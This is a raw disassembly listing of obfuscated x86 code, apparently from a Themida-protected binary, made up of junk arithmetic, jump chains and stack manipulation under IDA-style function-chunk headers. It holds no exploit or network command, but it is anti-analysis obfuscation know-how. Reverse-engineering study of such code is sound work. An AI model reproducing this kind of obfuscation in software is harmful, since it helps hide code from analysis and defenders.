loc_552DD8: ; CODE XREF: Themida_:00556629j
mov [esp], esp
add dword ptr [esp], 4
pop eax
push 5EC3h
mov [esp], edx
mov edx, 4
add eax, edx
pop edx
push ebx
mov ebx, 551F1A65h
jmp loc_558048
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_552DFE: ; CODE XREF: sub_55A748-4790j
push 66D5h
mov [esp+4+var_4], edx
push ebx
push eax
mov ah, 0Ch
jmp loc_559335
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
loc_552E0F: ; CODE XREF: Themida_:0055BCE7j
neg bl
add bl, 84h
xor bl, 2Bh
xor al, bl
pop ebx
shr al, 3
and al, 7
jmp loc_557F31
; =============== S U B R O U T I N E =======================================
sub_552E24 proc near ; CODE XREF: sub_556A70-412Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00550ED1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00552191 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055524D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556572 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005596FF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00559C8D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B0C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055BAE0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055CB2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CD39 SIZE 0000000B BYTES
push ebx
jmp loc_55CB2B
sub_552E24 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552E2A: ; CODE XREF: sub_556A70-23E9j
xchg ebx, [esp+4+var_4]
jmp loc_55313D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552E32: ; CODE XREF: Themida_:00552A44j
mov edx, 2F235685h
add eax, edx
jmp loc_552A0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552E3E: ; CODE XREF: sub_556A70-2900j
mov ecx, 67C04373h
jmp sub_552FCD
; ---------------------------------------------------------------------------
loc_552E48: ; CODE XREF: sub_556A70-59Bj
mov ecx, esp
add ecx, 4
jmp loc_5521BC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
mov [esp], ebp
mov ebp, 45A9BE86h
sub eax, ebp
mov ebp, [esp]
jmp loc_5540B2
; ---------------------------------------------------------------------------
loc_552E70: ; CODE XREF: Themida_:005548A9j
pop edi
and edi, 474513C6h
and edi, 46CA0359h
push ecx
mov ecx, 5E9B45D9h
sub ecx, 263F38D2h
xor ecx, 1630124h
not ecx
jmp loc_559C94
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550E2C
loc_552E96: ; CODE XREF: sub_550E2C+7167j
shr esi, 7
xor esi, 38BB3A70h
sub esi, 348724F7h
add edx, esi
pop esi
jmp loc_55A1F2
; END OF FUNCTION CHUNK FOR sub_550E2C
; ---------------------------------------------------------------------------
loc_552EAD: ; CODE XREF: Themida_:00557DA5j
add edx, ecx
pop ecx
sub esi, edx
pop edx
push 790Ah
mov [esp], edi
jmp loc_5590D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552EC0: ; CODE XREF: sub_556A70+56C6j
push edi
mov edi, esp
push ebx
mov ebx, 0A3F4F5Ch
sub ebx, 2419160Eh
not ebx
not ebx
add ebx, 5D2023A2h
jmp loc_550C99
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552EDE: ; CODE XREF: Themida_:0055A33Cj
mov ebx, [esp]
add esp, 4
add bl, 0A6h
add bl, 2
jmp loc_55421D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552EF2: ; CODE XREF: sub_556A70-5E25j
push 4522h
jmp loc_556982
; ---------------------------------------------------------------------------
loc_552EFC: ; CODE XREF: sub_556A70-556Ej
shr edx, 1
cmp eax, edx
jz loc_550F2B
push 7F9Ch
mov [esp-4+arg_0], eax
mov eax, 7D686A1Eh
or eax, 304A61EBh
neg eax
not eax
push edx
push ecx
mov ecx, 15C5106Fh
add ecx, 29B13369h
mov edx, ecx
jmp loc_55C1A7
; ---------------------------------------------------------------------------
loc_552F30: ; CODE XREF: sub_556A70+3AEBj
add ebp, eax
jmp loc_55A88C
; ---------------------------------------------------------------------------
loc_552F37: ; CODE XREF: sub_556A70+3337j
pop edx
push edi
push dword ptr [esp+4]
pop edi
pop [esp+4+var_4]
mov esp, [esp+0]
mov [esp+0], edi
mov edi, 1CE73B07h
jmp loc_556246
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55ABA3
loc_552F51: ; CODE XREF: sub_55ABA3-9EBCj
mov ebx, ebp
jmp loc_55773B
; END OF FUNCTION CHUNK FOR sub_55ABA3
; ---------------------------------------------------------------------------
loc_552F58: ; CODE XREF: Themida_:0055CB64j
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_55C594
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552F68: ; CODE XREF: sub_556A70+4F22j
mov [esp+0], ebp
jmp loc_55A73B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552F70: ; CODE XREF: Themida_:00555575j
mov [esp], ebp
mov ebp, 34F9668Fh
jmp loc_559ADF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552F7D: ; CODE XREF: sub_556A70-48A3j
pop [esp+0Ch+var_C]
jmp loc_553CEE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_552F85: ; CODE XREF: sub_552B74+94Fj
add esi, 4
add esi, 4
jmp loc_5543EB
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552F96: ; CODE XREF: sub_556A70+3F50j
shl edi, 8
and edi, 1317F0Ah
add edi, 0FFEEE504h
mov ebx, edi
pop edi
jmp loc_5576B5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CC90
loc_552FAD: ; CODE XREF: sub_55CC90-68A4j
pop eax
add eax, 4
jmp loc_5510C9
; END OF FUNCTION CHUNK FOR sub_55CC90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553B16
loc_552FB8: ; CODE XREF: sub_553B16+6D60j
pop eax
not eax
xchg eax, edx
shr edx, 5
not edx
jmp loc_559414
; END OF FUNCTION CHUNK FOR sub_553B16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558D0E
loc_552FC6: ; CODE XREF: sub_558D0E-79CDj
mov edi, ebx
jmp loc_55848B
; END OF FUNCTION CHUNK FOR sub_558D0E
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_552FCD proc near ; CODE XREF: sub_556A70-3C2Dj
push ebp
mov ebp, esp
jmp loc_557094
sub_552FCD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552FD5: ; CODE XREF: sub_556A70-1B04j
sub [esp+4+var_4], 406078F5h
push eax
jmp loc_5545FE
; ---------------------------------------------------------------------------
loc_552FE2: ; CODE XREF: sub_556A70+1624j
pop esp
mov word ptr [esp+4+var_4], cx
jmp loc_55894C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push ebx
mov ebx, esp
jmp loc_550B3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552FFA: ; CODE XREF: sub_556A70-27A9j
mov edx, 32DB6845h
xor edx, 4C074104h
and edx, 31EF0CCEh
jmp loc_559297
; ---------------------------------------------------------------------------
loc_553010: ; CODE XREF: sub_556A70-59D0j
push [esp+10h+var_10]
pop edi
jmp loc_554084
; ---------------------------------------------------------------------------
loc_553019: ; CODE XREF: sub_556A70+DD4j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55301E: ; CODE XREF: sub_556A70-5CB3j
mov edx, 4
sub eax, edx
pop edx
jmp loc_5531DB
; ---------------------------------------------------------------------------
loc_55302B: ; CODE XREF: sub_556A70+297Aj
push eax
mov eax, 0C8E7D79h
mov edi, 18B03AD8h
xor edi, 34F26EC2h
shl edi, 8
not edi
add edi, 7DBDA39Fh
add edi, eax
push dword ptr [esp+0]
jmp loc_551DBA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553051: ; CODE XREF: Themida_:0055C595j
push esi
push edi
mov edi, 7097409Eh
add edi, 24C857C0h
push ebx
mov ebx, 62DC47EDh
jmp loc_556531
; ---------------------------------------------------------------------------
loc_553069: ; CODE XREF: Themida_:0055536Bj
xchg eax, [esp]
pop esp
shr word ptr [esp], cl
pushf
jmp loc_55BF3B
; ---------------------------------------------------------------------------
loc_553077: ; CODE XREF: Themida_:00552A83j
add esp, 4
jmp loc_556468
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553082: ; CODE XREF: sub_556A70-CAFj
push edx
push edi
jmp loc_55BC90
; ---------------------------------------------------------------------------
loc_553089: ; CODE XREF: sub_556A70-140Ej
xor [esp+0Ch+var_C], edi
xor edi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push [esp+0Ch+var_C]
push [esp+10h+var_10]
pop eax
jmp loc_558CB2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55309E: ; CODE XREF: Themida_:005599F8j
sub dh, cl
pop ecx
jmp loc_551C3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5547A1
loc_5530A6: ; CODE XREF: sub_5547A1-315Fj
add esi, 4
xor esi, [esp+0]
xor [esp+0], esi
jmp loc_556F6D
; END OF FUNCTION CHUNK FOR sub_5547A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5530B7: ; CODE XREF: sub_556A70+2C62j
pop esp
push [esp+0Ch+var_C]
push [esp+10h+var_10]
jmp loc_55C434
; ---------------------------------------------------------------------------
loc_5530C3: ; CODE XREF: sub_556A70-3Dj
dec edi
jmp loc_55AEFF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5530C9: ; CODE XREF: Themida_:00553597j
push eax
jmp loc_5524F7
; ---------------------------------------------------------------------------
loc_5530CF: ; CODE XREF: Themida_:00557E7Fj
add esp, 4
add ebx, 0D053B646h
add edx, ebx
pop ebx
jmp loc_556D25
; ---------------------------------------------------------------------------
loc_5530E3: ; CODE XREF: Themida_:005545ACj
mov edi, 0AABE9245h
xor ecx, edi
jmp loc_554FD6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5530EF proc near ; CODE XREF: sub_556A70-4788j
push ebp
mov ebp, esp
jmp loc_5571DB
sub_5530EF endp
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553101: ; CODE XREF: sub_556A70+12DDj
pop eax
sub ebp, 69EA5388h
add ebp, ebx
jmp sub_5563FF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
locret_55310F: ; CODE XREF: Themida_:0055C80Cj
retn
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_558ECD
; ---------------------------------------------------------------------------
loc_553118: ; CODE XREF: Themida_:0055572Bj
add eax, 3D3B6881h
push 659Bh
jmp loc_55348A
; ---------------------------------------------------------------------------
loc_553127: ; CODE XREF: Themida_:00554F9Fj
inc eax
sub eax, 21500403h
add esi, eax
pop eax
xchg esi, [esp]
pop esp
rol dword ptr [esp], cl
pushf
jmp loc_551C29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55313D: ; CODE XREF: sub_556A70-3C43j
pop esp
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
jmp loc_557EE7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55315A: ; CODE XREF: Themida_:00550E4Dj
xor edi, [esp]
jmp loc_552351
; ---------------------------------------------------------------------------
loc_553162: ; CODE XREF: Themida_:005592FCj
mov edi, 0CDDAC886h
sub ebx, edi
pop edi
mov ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
sub ecx, ebx
jmp loc_554066
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55317D: ; CODE XREF: sub_556A70+5419j
add esp, 4
xor al, ch
mov ecx, [esp+4+var_4]
add esp, 4
sub bl, 3Eh
add bl, 0BFh
push edx
mov dl, 16h
neg dl
push ebx
mov bh, 0B8h
jmp loc_5529D5
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55319E proc near ; CODE XREF: sub_557FA0-5395j
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005532FF SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005534B1 SIZE 0000000E BYTES
push ebp
mov ebp, 1A6B67B6h
jmp loc_5534B1
sub_55319E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5531A9: ; CODE XREF: Themida_:005519C4j
not ebp
push ecx
mov ecx, 2A09ECh
sub ebp, ecx
pop ecx
add esi, 7DEB5505h
add esi, ebp
sub esi, 7DEB5505h
push dword ptr [esp]
mov ebp, [esp]
jmp loc_557252
; ---------------------------------------------------------------------------
loc_5531CD: ; CODE XREF: Themida_:00551473j
add [esp+4], ecx
pop ecx
pop eax
sub esp, 4
jmp loc_5569FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5531DB: ; CODE XREF: sub_556A70-3A4Aj
push eax
push [esp+arg_0]
pop eax
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
mov [esp-4+arg_0], ebx
push [esp-4+arg_0]
pop eax
jmp loc_552DC9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5531F3: ; CODE XREF: Themida_:0055C9A2j
shr dh, 3
push cx
mov ch, 0F0h
jmp loc_553AA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_5531FF: ; CODE XREF: sub_5566B9+4B49j
add esp, 4
push [esp+0Ch+var_C]
pop ebp
jmp loc_55714E
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_552D1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5599E2
loc_553214: ; CODE XREF: sub_5599E2+3j
mov [esp+4+var_4], edx
push 7AFA6C43h
pop edx
push ecx
mov ecx, 6D317BE3h
and ecx, 3CF03438h
or ecx, 5EB9070Ch
or ecx, 5A146DBh
not ecx
add ecx, 1
sub ecx, 2F383BC7h
add edx, ecx
jmp loc_555E6E
; END OF FUNCTION CHUNK FOR sub_5599E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55324A: ; CODE XREF: sub_556A70-5827j
sub edi, edx
pop edx
mov ebx, edi
mov edi, [esp-16h+arg_10+2]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-12h+arg_C+2]
pop esp
xor ebx, edx
jmp loc_550BBB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553269: ; CODE XREF: Themida_:00551D39j
and edi, 58440848h
jmp loc_558080
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_553274: ; CODE XREF: sub_552B74+8C1Ej
pop edx
jmp loc_558BB4
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55327A: ; CODE XREF: sub_556A70+42C3j
dec edi
jmp loc_553759
; ---------------------------------------------------------------------------
loc_553280: ; CODE XREF: sub_556A70-162Cj
pop esi
mov eax, [esp-1Ah+arg_14+2]
add esp, 4
add edx, 4D013875h
or edx, 75C076F2h
shl edx, 7
push esi
mov esi, 4DF355FFh
jmp loc_5562DE
; ---------------------------------------------------------------------------
loc_5532A4: ; CODE XREF: sub_556A70+5F92j
pop esp
push [esp-1Eh+arg_18+2]
pop eax
jmp loc_55187A
; ---------------------------------------------------------------------------
loc_5532AE: ; CODE XREF: sub_556A70-13DFj
pop ebx
sub ebx, 76607069h
mov ebp, [esp-22h+arg_1C+2]
jmp loc_551767
; ---------------------------------------------------------------------------
loc_5532BD: ; CODE XREF: sub_556A70-46Fj
mov [esp-22h+arg_1C+2], ecx
push edi
jmp loc_5529CF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
loc_5532C6: ; CODE XREF: sub_55AA5F-7F46j
or ecx, ebx
pop ebx
xchg esi, ecx
not esi
xchg esi, ecx
inc ecx
and ecx, 1DC92CFFh
jmp loc_550B76
; END OF FUNCTION CHUNK FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5532DB: ; CODE XREF: sub_556A70-DC9j
mov dx, cx
mov ecx, [esp-1Eh+arg_18+2]
jmp loc_559671
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
push 0C73h
mov [esp], ebx
mov ebx, esp
push edi
mov edi, 4
jmp loc_554BFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55319E
loc_5532FF: ; CODE XREF: sub_55319E+31Cj
dec ecx
xor ecx, 3D8C55AEh
xor ebx, ecx
pop ecx
push ebx
pop edi
pop ebx
add eax, 1DB67F57h
add eax, 12F945F2h
add eax, edi
sub eax, 12F945F2h
sub eax, 1DB67F57h
pop edi
xchg eax, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
cmp cl, al
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_55319E
; ---------------------------------------------------------------------------
loc_553331: ; CODE XREF: Themida_:005597FDj
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_553336: ; CODE XREF: Themida_:00550DE2j
not al
mov dh, al
pop eax
xor dh, 0E3h
dec dh
not dh
not dh
add dh, 16h
add dh, 38h
add ah, dh
pop edx
add dh, ah
pop eax
add dh, 0AFh
mov cx, [esp]
add esp, 2
add al, dh
mov edx, [esp]
add esp, 4
push 2D84h
mov [esp], ecx
push edx
push eax
mov al, 75h
shl al, 4
push ebx
mov bl, 73h
jmp loc_55BCE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553A74
loc_55337F: ; CODE XREF: sub_553A74+12j
add eax, 800005h
add ecx, 531B33B9h
jmp loc_5594DE
; END OF FUNCTION CHUNK FOR sub_553A74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5565AD
loc_55338F: ; CODE XREF: sub_5565AD+11j
pop esi
jmp sub_5547A1
; END OF FUNCTION CHUNK FOR sub_5565AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553395: ; CODE XREF: sub_556A70-563Bj
add bl, 0CDh
jmp loc_558BE5
; ---------------------------------------------------------------------------
loc_55339D: ; CODE XREF: sub_556A70+62ECj
add ebx, eax
push 3B42h
jmp loc_554361
; ---------------------------------------------------------------------------
loc_5533A9: ; CODE XREF: sub_556A70-18DDj
add esi, 0EA924FBDh
jmp loc_55A0B4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5533B4: ; CODE XREF: Themida_:0055656Dj
add esp, 4
jmp loc_558C4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5533BC: ; CODE XREF: sub_556A70+B89j
xchg edi, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
add esp, 4
div ecx
push 5FE0h
mov [esp-14h+arg_10], edx
jmp sub_55C607
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5533D7: ; CODE XREF: Themida_:00551D9Ej
shr edx, 8
sub edx, 0FFFFFFFFh
sub edx, 0FFFFFFFFh
not edx
jmp loc_5514E4
; ---------------------------------------------------------------------------
loc_5533EA: ; CODE XREF: Themida_:0055242Aj
pop ebx
inc esi
jmp loc_551BCF
; ---------------------------------------------------------------------------
loc_5533F1: ; CODE XREF: Themida_:00552122j
add ebp, 0FFBBBBFCh
add eax, ebp
pop ebp
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
push ebp
mov ebp, 637B3826h
xor ebp, 287C5299h
inc ebp
inc ebp
or ebp, 1AB70091h
add ebp, 0A4489533h
jmp loc_551346
; ---------------------------------------------------------------------------
loc_553428: ; CODE XREF: Themida_:0055398Cj
push 32C1h
mov [esp], ebx
mov bl, 64h
push eax
mov al, 0FFh
jmp loc_559C7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55343A: ; CODE XREF: sub_556A70-3015j
mov word ptr [esp-14h+arg_10], cx
push edx
mov dh, 8Fh
sub dh, 1
add dh, 8Eh
jmp loc_55389C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55344C: ; CODE XREF: Themida_:0055AF14j
not bh
shr bh, 3
sub bh, 53h
shr bh, 5
xor bh, 0BEh
jmp loc_556086
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55345F: ; CODE XREF: sub_556A70+10F3j
mov eax, ebx
push ecx
mov ecx, eax
push ecx
push esi
push ebp
mov ebp, 6EC2770Dh
jmp loc_5541AC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553471: ; CODE XREF: Themida_:005591C7j
mov ah, 44h
sub ah, 0FFh
jmp loc_5569E7
; ---------------------------------------------------------------------------
loc_55347B: ; CODE XREF: Themida_:0055952Fj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_555F0B
; ---------------------------------------------------------------------------
loc_55348A: ; CODE XREF: Themida_:00553122j
mov [esp], ebp
mov ebp, 65605812h
shl ebp, 4
xor ebp, 6409AA4h
add eax, ebp
pop ebp
push dword ptr [esp]
pop ebp
push 4820h
mov [esp], edi
mov edi, esp
jmp loc_55CCBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55319E
loc_5534B1: ; CODE XREF: sub_55319E+6j
and ecx, ebp
pop ebp
add ecx, 24A253A7h
jmp loc_5532FF
; END OF FUNCTION CHUNK FOR sub_55319E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_5534BF: ; CODE XREF: sub_552B74+8C87j
pop ecx
push esi
mov esi, esp
jmp loc_552F85
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5534C8: ; CODE XREF: sub_556A70-F78j
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0]
pop esp
xor ebx, eax
jmp loc_552201
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push 5B03h
mov [esp], eax
mov eax, esp
add eax, 4
push esi
mov esi, 4
sub eax, esi
mov esi, [esp]
push edi
mov edi, esp
jmp loc_559478
; ---------------------------------------------------------------------------
loc_553506: ; CODE XREF: Themida_:00558814j
pop esi
add edx, 4
xchg edx, [esp]
pop esp
push ebx
jmp loc_558CE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5582B3
loc_553517: ; CODE XREF: sub_5582B3+4709j
sub ebx, 111C342Dh
jmp loc_55647C
; END OF FUNCTION CHUNK FOR sub_5582B3
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_5590C4
push edx
mov edx, 6F3F3CFEh
add edx, 0FFFFFFFFh
xor edx, 3D716FA8h
dec edx
and edx, 520B17CDh
xor edx, 8CE3967h
push ebx
mov ebx, 29511E93h
jmp loc_55C811
; ---------------------------------------------------------------------------
loc_553557: ; CODE XREF: Themida_:00555D78j
mov eax, 0
jmp loc_555085
; ---------------------------------------------------------------------------
loc_553561: ; CODE XREF: Themida_:00555936j
add ebp, edi
pop edi
push 5B28h
mov [esp], ebx
mov ebx, 275B7CC7h
jmp loc_5569D0
; ---------------------------------------------------------------------------
loc_553576: ; CODE XREF: Themida_:0055A5A2j
not dh
push ecx
mov ch, dh
mov dh, bh
mov bh, ch
pop ecx
sub bh, 4Ch
dec bh
not bh
xor bh, 0BFh
mov dh, bh
pop ebx
add al, dh
jmp loc_5521DB
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
jmp loc_5530C9
; ---------------------------------------------------------------------------
loc_55359C: ; CODE XREF: Themida_:00551E2Dj
xor ecx, 638A5D10h
add eax, ecx
mov ecx, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
jmp loc_55A9FB
; ---------------------------------------------------------------------------
loc_5535B8: ; CODE XREF: Themida_:005562A6j
add [esp+4], eax
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55CD85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5535CB: ; CODE XREF: sub_5584F8-330Cj
shl esi, 6
and esi, 6DC4579Dh
dec esi
jmp loc_55B363
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_5535DA: ; CODE XREF: Themida_:005558CCj
push ebx
jmp loc_55934B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A6CD
loc_5535E0: ; CODE XREF: sub_55A6CD+9j
xchg esi, [esp+0]
jmp loc_557FB9
; END OF FUNCTION CHUNK FOR sub_55A6CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_5535E8: ; CODE XREF: sub_5566B9-500Dj
add ecx, ebp
push ebx
mov ebx, 70850C20h
add ecx, 17115A95h
sub ecx, ebx
sub ecx, 17115A95h
pop ebx
jmp loc_5566E0
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553604: ; CODE XREF: sub_556A70-2BDAj
not ebx
sub ebx, 57E37E7h
jmp loc_556929
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553611: ; CODE XREF: Themida_:0055B903j
xor eax, edx
mov edx, [esp]
add esp, 4
push small word ptr [eax]
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_553621: ; CODE XREF: Themida_:00558BAFj
not bh
or bh, 38h
neg bh
xor bh, 56h
add bh, 22h
add al, bh
pop ebx
push edx
jmp loc_554CA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553D0
loc_553637: ; CODE XREF: sub_5553D0+413Bj
add bl, al
sub bl, 67h
jmp sub_55A5DF
; END OF FUNCTION CHUNK FOR sub_5553D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553641: ; CODE XREF: sub_556A70+2DF2j
push eax
mov eax, 0DA26BF41h
add edx, eax
pop eax
mov eax, edx
jmp loc_558FE0
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_553651 proc near ; CODE XREF: sub_556A70-5D6Cj
; sub_556A70+97Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00551CE3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005529A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554CAC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00556447 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005585CE SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0055A02F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B004 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055C638 SIZE 0000000F BYTES
push ebx
jmp loc_55A02F
sub_553651 endp
; =============== S U B R O U T I N E =======================================
sub_553657 proc near ; CODE XREF: sub_556A70-349j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00551A02 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055A79A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BAFA SIZE 0000000B BYTES
sub esp, 4
mov [esp-4+arg_0], eax
push 2F4C0224h
mov eax, [esp+0]
jmp loc_551A02
sub_553657 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55366A: ; CODE XREF: sub_556A70-5D60j
push 2C04h
mov [esp-4+arg_0], ecx
push 5F4h
mov [esp+0], esp
add dword ptr [esp+0], 4
pop ecx
push edx
mov edx, 4
add ecx, edx
pop edx
push ebp
mov ebp, 484F0FBBh
add ebp, 1
jmp loc_557898
; END OF FUNCTION CHUNK FOR sub_556A70
